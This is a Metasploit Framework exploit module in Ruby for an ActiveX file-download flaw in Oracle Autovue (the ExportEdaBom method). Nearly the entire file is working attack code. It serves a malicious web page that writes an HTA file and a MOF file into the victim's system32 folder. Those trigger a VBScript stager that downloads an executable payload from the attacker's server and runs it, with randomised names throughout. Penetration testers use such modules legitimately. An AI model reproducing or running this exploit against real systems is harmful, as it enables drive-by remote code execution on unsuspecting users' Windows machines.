##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank       => NormalRanking,
		:vuln_test  => nil,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle Autovue (ExportEdaBom) ActiveX Control Arbitrary File Download',
			'Description'    => %q{
					This module allows remote attackers to place arbitrary files on a users file system
				by abusing the "ExportEdaBom" method in the Autovue AutoVueX.ocx (AUTOVUEX.AutoVueXCtrl.1) ActiveX
				Control. Code execution can be acheived by writing a trusted HTML file to the system32 directory
				of the targets machine then, when their machine triggers the WMI service executing a mof file, the 
				trusted HTML file will be executed and write a VBS script which is then also executed that will 
				download a binary and then finally execute that binary.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'rgod',  # original discovery and calc.exe poc
					'mr_me <steventhomasseeley[at]gmail-com>',  # msf exploit - kiwicon 6 special :)
					'TecR0c <roccogiovannicalvi[at]gmail-com>', # msf exploit - kiwicon 6 special :)
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '50332'],
					[ 'URL', 'http://retrogod.altervista.org/9sg_autovue.html' ],
					[ 'URL', 'http://packetstormsecurity.org/files/106063/9sg_autovue.tgz'],
				],
			'DefaultOptions' =>
				{
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'       => 2000,
					'DisableNops' => true,
					'BadChars'    => "\x00\x0a\x0d",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					#Windows before Vista
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 20 2011'))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def build_vbs(url, payload_name, stager_name)
		name_xmlhttp = rand_text_alpha(2)
		name_adodb   = rand_text_alpha(2)
		name_wscript = rand_text_alpha(2)

		vbs  = "Set #{name_xmlhttp} = CreateObject(\\\"Microsoft.XMLHTTP\\\") "
		vbs << ": #{name_xmlhttp}.Open \\\"GET\\\",\\\"#{url}\\\",False "
		vbs << ": #{name_xmlhttp}.send() "
		vbs << ": Set #{name_adodb} = CreateObject(\\\"ADODB.Stream\\\") "
		vbs << ": #{name_adodb}.Mode = 3 "
		vbs << ": #{name_adodb}.Type = 1 "
		vbs << ": #{name_adodb}.Open() "
		vbs << ": #{name_adodb}.Write(#{name_xmlhttp}.responseBody) "
		vbs << ": #{name_adodb}.SaveToFile \\\"#{@sys32_path}#{@payload_name}\\\",2 "
		vbs << ": Dim #{name_wscript}"
		vbs << ": Set #{name_wscript} = CreateObject(\\\"WScript.Shell\\\") "
		vbs << ": #{name_wscript}.Run \\\"#{@sys32_path}#{@payload_name}\\\""

		return vbs
	end

	def on_request_uri(cli, request)

		#Load trigger file
		path = File.join(Msf::Config.install_root, "data", "exploits", "rgod_autovue.pcb")
		f = File.open(path, "rb")
		@trigger = f.read
		f.close

		if request.uri.match(/\.pcb/)
			print_status("Sending pcb payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, @trigger, { 
				'Content-Type' => 'application/octet-stream',
				'Content-Length' => @trigger.length, 
			})
			return

		elsif request.uri =~ /\.exe/
			print_status("Sending payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, @payload, {'Content-Type' => 'application/octet-stream'} )
			return
		end

		url =  "http://"
		url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		url += ":" + datastore['SRVPORT'] + get_resource() + "/"

		#VBScript variables
		clsid                 = "B6FCC215-D303-11D1-BC6C-0000C078797F"
		method                = "ExportEdaBom"
		autovue               = rand_text_alpha(rand(100) + 1)           #autovue object ID
		@payload_name         = rand_text_alpha(rand(10) + 1) + ".exe"   #Payload name
		hta_name              = rand_text_alpha(rand(10) + 1) + ".hta"   #trusted HTML file name
		stager_name           = rand_text_alpha(rand(10) + 1) + ".vbs"	 #VBS file name
		@mof_name             = rand_text_alpha(rand(10) + 1) + ".mof"   #MOF path on victim machine
		name_xmlhttp          = rand_text_alpha(2)                       #vbs XHTTP instance name
		name_adodb            = rand_text_alpha(2)                       #vbs adodb instance name
		pcb_name              = rand_text_alpha_lower(4)                 #pcb filename
		mof_contents          = rand_text_alpha(5)                       #MOF's vbs var name
		
		@sys32_path          = "C://WINDOWS//system32//"
		hta_path             = @sys32_path + hta_name
		mof_path             = @sys32_path + "wbem//mof//"

		#Create the stager (download + execute payload)
		vbs = build_vbs(url+@payload_name, @payload_name, stager_name)

		# tx snake .. edb-id:18051
		# "\" = "\"*4
		mof = generate_mof(@mof_name, hta_name)
		mof = mof.gsub(/\n/, "',\n'")
		mof = mof.gsub(/ \"/, ' "')
		mof = mof.gsub(/;\"/, ";\\\"")
		mof = mof.gsub('\"', '\\\\\\\\"')
		mof = mof.gsub(' "\\', '"\\\\\\\\')
		mof = mof.gsub("='","=\\\\\'")
		mof = mof.gsub("'\\","\\\\\'\\")
		#More fixes to correct the mof format
		mof = mof.gsub(/;\\n/, ";\\\\\\n")
		mof = mof.gsub(/\\nvar f2/, "\\\\\\nvar f2")
		mof = mof.gsub(/\\\\cimv2/, "\\\\\\\\\\\\\\\\\\\\\\\\cimv2")
		mof = mof.gsub(/\\\\\\\\.\\\\root#{'\\'*12}/, "#{'\\'*16}.#{'\\'*8}root#{'\\'*8}")
		mof = mof.gsub(/wbem#{'\\'*8}mof#{'\\'*8}good#{'\\'*8}/,"wbem#{'\\'*16}mof#{'\\'*16}good#{'\\'*16}")
		mof = mof.gsub(/\{\};\\\\";/, "{};\";")

		#print_status(mof)

		content = <<-EOS
		<html>
		<object classid='clsid:#{clsid}' id='obj' width=640 & height=480 />
		<param name=SRC value="test.pcb"></param>
		</object>
		<script defer="defer">
		var vbs_code = "#{vbs}";
		var execute = "<" + "script> var x=new ActiveXObject(\\"Scripting.FileSystemObject\\"); ";
		execute += "var s = x.CreateTextFile(\\"#{stager_name}\\", \\"True\\"); ";
		execute += "s.writeline(\'" + vbs_code + "\'); s.Close(); var y=new ActiveXObject(\\"WScript.Shell\\"); ";
		execute += "y.Exec(\\"wscript #{stager_name}\\"); <" +"/script>";
		for (i=0; i<6666; i++) { 
    			obj.ExportEdaBom("#{hta_path}","",false,execute);
		}
		
		var #{mof_contents} = ['#{mof}\\n'].join('\\n');

		for (i=0; i<6666; i++) { 
    			obj.ExportEdaBom("#{mof_path}+#{@mof_name}","",false,#{mof_contents});
		}	
		
		</script>
		EOS

		#Clear the extra tabs
		content = content.gsub(/^\t\t/, '')

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, content)
		handler(cli)

	end

	def exploit
		@payload = generate_payload_exe
		super
	end

end
